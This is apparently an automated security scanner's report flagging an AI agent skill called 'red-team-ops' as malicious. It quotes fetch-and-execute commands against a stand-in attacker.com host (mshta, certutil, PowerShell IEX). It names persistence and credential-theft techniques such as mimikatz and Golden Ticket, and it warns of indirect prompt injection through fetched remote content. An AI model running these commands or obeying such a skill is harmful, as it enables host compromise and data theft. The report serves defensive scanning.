red-team-ops

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). These are direct HTTP links on an untrusted "attacker.com" domain to known executable/script types (.exe, .hta, .sct, .ps1) commonly used to deliver malware and to be invoked via LOLBins, so they are highly suspicious.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This document is an explicit red-team/attacker playbook describing intentional malicious actions (phishing, payload delivery, C2 setup, persistence, credential harvesting, EDR/AMSI bypass, lateral movement, and exfiltration), clearly intended to enable unauthorized compromise and data theft.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 0.75). The skill’s runtime workflow is a red-team “operations” guide that includes fetching attacker-controlled payloads (e.g., mshta http://attacker.com/payload.hta, certutil -urlcache ... http://attacker.com/payload.exe, DownloadString('http://attacker.com/script.ps1')), which would cause the agent/LLM to ingest outsider-authored free text from those remote pages/scripts when executed.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). This skill includes explicit runtime commands that fetch and execute remote code (e.g., mshta http://attacker.com/payload.hta, certutil ... http://attacker.com/payload.exe, powershell IEX 'http://attacker.com/script.ps1'), so those URLs are used at runtime to retrieve and run external payloads.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The prompt explicitly instructs creating/modifying system files and services (e.g., /etc/ld.so.preload, /etc/passwd, systemd service files, kernel modules), adding persistent backdoors (authorized_keys, scheduled tasks, registry Run keys), and using privileged-only tools/operations (insmod, mimikatz, Golden Ticket, modifying DSRM), which directly push the agent to compromise the host state and require elevated/sudo privileges.